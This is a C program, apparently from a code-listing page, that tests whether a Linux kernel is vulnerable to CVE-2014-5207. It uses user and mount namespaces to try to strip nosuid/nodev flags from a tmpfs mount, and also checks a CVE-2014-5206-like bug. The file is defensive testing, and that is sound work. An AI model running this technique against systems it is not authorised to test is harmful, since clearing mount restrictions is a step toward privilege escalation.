define _GNU_SOURCE include stdio include string include errno include

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <err.h>
#include <sched.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <unistd.h>
#define MOUNT_NAME "check-CVE_2014_5207"
#define MOUNT_PATH "/tmp"
static void show_state(void)
{
char buf[1024];
FILE *mountinfo = fopen("/proc/self/mountinfo", "r");
if (!mountinfo)
err(1, "/proc/self/mountinfo");
while (fgets(buf, sizeof(buf), mountinfo)) {
if (strstr(buf, MOUNT_NAME))
printf("%s", buf);
}
}
static void set_map(const char *path, uid_t outer)
{
char buf[1024];
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, "open map");
sprintf(buf, "0 %ld 1", (long)outer);
if (write(fd, buf, strlen(buf)) != strlen(buf))
err(1, "write map");
close(fd);
}
int main()
{
uid_t euid = geteuid();
gid_t egid = getegid();
printf("Preparing (failures here are inconclusive)...\n");
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) != 0)
err(1, "unshare");
set_map("/proc/self/uid_map", euid);
set_map("/proc/self/gid_map", egid);
if (mount("/", "/", NULL, MS_REC | MS_PRIVATE, NULL) != 0)
err(1, "make-rprivate");
if (mount(MOUNT_NAME, MOUNT_PATH, "tmpfs",
MS_NOSUID | MS_NODEV, NULL) != 0)
err(1, "mount tmpfs");
show_state();
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) != 0)
err(1, "unshare");
set_map("/proc/self/uid_map", 0);
set_map("/proc/self/gid_map", 0);
printf("Testing...\n");
if (mount(MOUNT_PATH, MOUNT_PATH, NULL,
MS_REMOUNT | MS_BIND, NULL) != 0) {
printf("Remount failed; you should be safe.\n");
} else {
printf("Remount succeeded; you are vulnerable.\n");
show_state();
return 0;
}
/* Just in case, check for a CVE-2014-5206-like bug. */
if (mount(MOUNT_PATH, MOUNT_PATH, NULL,
MS_BIND | MS_NOSUID | MS_NODEV, NULL) != 0)
err(1, "extra-paranoid bind");
if (mount(MOUNT_PATH, MOUNT_PATH, NULL,
MS_BIND | MS_REMOUNT | MS_NOSUID | MS_NODEV, NULL) != 0)
err(1, "extra-paranoid remount 1");
if (mount(MOUNT_PATH, MOUNT_PATH, NULL,
MS_BIND | MS_REMOUNT, NULL) != 0) {
printf("Fancy retry also failed, which is good.\n");
} else {
printf("Fancy retry succeeded, which means you may still be vulnerable\n");
show_state();
}
return 0;
}